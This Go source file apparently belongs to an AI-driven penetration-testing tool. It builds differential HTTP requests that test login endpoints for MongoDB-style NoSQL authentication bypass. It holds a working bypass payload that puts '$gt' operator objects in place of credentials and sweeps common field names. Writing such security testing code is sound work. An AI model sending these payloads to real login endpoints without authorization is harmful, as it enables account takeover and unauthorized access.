package exploit

import (
	"encoding/json"
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// commonLoginFieldPairs are the credential field names vulnerable JSON login
// endpoints use, most-specific first. Pixi uses user/pass; most APIs use
// username/password or email/password.
var commonLoginFieldPairs = [][2]string{
	{"user", "pass"},
	{"username", "password"},
	{"email", "password"},
}

// NoSQLAuthBypassSpec builds a differential re-proof recipe for a MongoDB-style
// NoSQL authentication bypass. A login handler that passes JSON body fields
// straight into a Mongo query (findOne) can be bypassed by replacing a
// credential with an operator object that matches any document: the ATTACK body
// sends {"<user>":{"$gt":""},"<pass>":{"$gt":""}} (matches the first/any user),
// while the CONTROL sends syntactically valid but wrong string credentials. A
// login that returns 2xx (a token/session) for the operator payload but denies
// the control proves the query is injectable — a signal no model produced.
//
// targetURL is the login endpoint; userField/passField name the JSON credential
// fields; authHeader is an optional pre-existing credential (rarely needed for a
// login route). Returns an error if the resulting spec is invalid.
func NoSQLAuthBypassSpec(targetURL, userField, passField, authHeader string) (*verify.ProbeSpec, error) {
	if strings.TrimSpace(userField) == "" || strings.TrimSpace(passField) == "" {
		return nil, fmt.Errorf("nosql: empty credential field name")
	}
	attack, err := json.Marshal(map[string]any{
		userField: map[string]string{"$gt": ""},
		passField: map[string]string{"$gt": ""},
	})
	if err != nil {
		return nil, err
	}
	control, err := json.Marshal(map[string]any{
		userField: "nx_nonexistent_zzq",
		passField: "nx_wrong_zzq",
	})
	if err != nil {
		return nil, err
	}
	raw, err := jsonBodyRawRequestMethod("POST", targetURL, authHeader)
	if err != nil {
		return nil, err
	}
	return verify.NewDifferentialSpec(raw, "", string(attack), string(control), "")
}

// NoSQLAuthBypassSpecs returns a spec per common credential field-name pair, so
// a sweep can try user/pass, username/password and email/password against a
// login endpoint without knowing its exact schema up front.
func NoSQLAuthBypassSpecs(targetURL, authHeader string) ([]TechniqueSpec, error) {
	var out []TechniqueSpec
	for _, fp := range commonLoginFieldPairs {
		spec, err := NoSQLAuthBypassSpec(targetURL, fp[0], fp[1], authHeader)
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "nosql:" + fp[0] + "/" + fp[1], Spec: spec})
	}
	return out, nil
}

// jsonBodyRawRequestMethod builds a raw HTTP/1.1 request for the given method
// whose body is the injection marker (the differential oracle substitutes the
// attack/control JSON bodies there), with a JSON content type and the optional
// Authorization header. Host/path split by hand so the marker is verbatim.
func jsonBodyRawRequestMethod(method, targetURL, authHeader string) (string, error) {
	host, pathQuery := splitHostPath(targetURL)
	var b strings.Builder
	b.WriteString(method + " " + pathQuery + " HTTP/1.1\r\n")
	if host != "" {
		b.WriteString("Host: " + host + "\r\n")
	}
	if authHeader != "" {
		b.WriteString("Authorization: " + authHeader + "\r\n")
	}
	b.WriteString("Content-Type: application/json\r\n")
	b.WriteString("\r\n")
	b.WriteString(verify.DefaultMarker)
	return b.String(), nil
}